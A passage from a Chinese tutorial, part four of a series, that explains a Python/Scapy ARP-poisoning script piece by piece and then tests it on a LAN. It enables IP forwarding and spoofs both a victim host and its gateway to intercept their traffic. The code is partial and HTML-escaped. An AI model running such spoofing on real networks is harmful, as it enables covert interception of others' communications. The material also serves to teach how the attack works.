使用arp欺骗,可以跨冲突域抓包吗( 四 )
代码略微有一点多,不过核心内容没有离开我们上面讲到的内容,现在做个分解。usage = \u0026#39;Usage: %prog host\u0026#39; parser = OptionParser(usage) parser.add_option(\u0026#39;-i\u0026#39;, dest=\u0026#39;interface\u0026#39;, help=\u0026#39;Specify the interface to use\u0026#39;) parser.add_option(\u0026#39;-t\u0026#39;, dest=\u0026#39;target\u0026#39;, help=\u0026#39;Specify a particular host to ARP poison\u0026#39;) parser.add_option(\u0026#39;-m\u0026#39;, dest=\u0026#39;mode\u0026#39;, default=\u0026#39;req\u0026#39;, help=\u0026#39;Poisoning mode: requests (req) or replies (rep) \u0026#39;) parser.add_option(\u0026#39;-s\u0026#39;, action=\u0026#39;store_true\u0026#39;, dest=\u0026#39;summary\u0026#39;, default=False, help=\u0026#39;Show packet summary and ask for confirmation before poisoning\u0026#39;) (options, args) = parser.parse_args() if len(args) != 1 or options.interface is None: parser.print_help() sys.exit(0)首先,我们引入了optparse模块,用来格式化用户输入的参数,如果用户输入参数不正确,会打印使用说明。
图10
下面调用了get_if_hwaddr方法,根据参数中传入的网卡,获取本机MAC地址,该MAC地址在构建以太网和ARP数据包的时候做为攻击机的MAC地址被使用。
接下来是build_req方法,和build_rep方法,分别用来构建ARP请求和响应包。两个方法会检查是否指定了目标地址,如果没有就是广播欺骗,如果有就是定下欺骗。两个方法里面使用了getmacbyip方法来根据ip地址获取目标主机的MAC地址。构建数据包的原理我们上面讲的很清楚了,这里就不重复了。
再往下是根据输入的参数,判断应该构建的数据包类型,调用对应的方法。if options.mode == \u0026#39;req\u0026#39;: pkt = build_req() elif options.mode == \u0026#39;rep\u0026#39;: pkt = build_rep() if options.summary is True: pkt.show() ans = raw_input(\u0026#39;\ Continue? : \u0026#39;).lower() if ans == \u0026#39;y\u0026#39; or len(ans) == 0: pass else: sys.exit(0)最后是发送数据包和程序的入口。 while True: sendp(pkt, inter=2, iface=options.interface)if __name__ == \u0026#39;__main__\u0026#39;: main()程序准备妥当,我们保存源码,下面开始测试。
3.1.6 测试在做ARP欺骗测试的时候,一定要先开启本机的IP转发功能,否则会失败的。执行如下命令:
sysctl net.ipv4.ip_forward=1
图11
下面我们打开终端,对192.168.1.18进行欺骗,告诉它网关为192.168.1.102所在的主机。
图12
在打开一个终端,对网关进行欺骗,告诉网关,192.168.1.18对应的主机为192.168.1.102.python arp1.py -i eth0 -t 192.168.1.1 192.168.1.18
推荐阅读
- 『先进』长江流域最先进洗舱站在宁投运 油可分离回收,水能循环使用
- 汽车|冬天怎样让车内温度快速升高?座椅加热的最佳使用方式二,外循环的作用总结
- 汽车|迈凯伦Artura不再使用迈凯伦祖传V8引擎了?
- python的html5lib这个库咋使用啊我在网上也没有找到相关文档
- 请问有哪些机器人大赛是比较权威的
- win7中本地连接跟无线网卡同时使用时是怎么样的模式
- 可不可能利用网盘的秒传功能使用伪造的MD5(或其他信息)值进行文件分享
- 为啥很多企业给用户发邮件会使用noreply/no-reply@xx.xx的邮箱
- MG|标配CarPlay系统 新款AMG A 35 L售39.98万元
- win10激活的问题
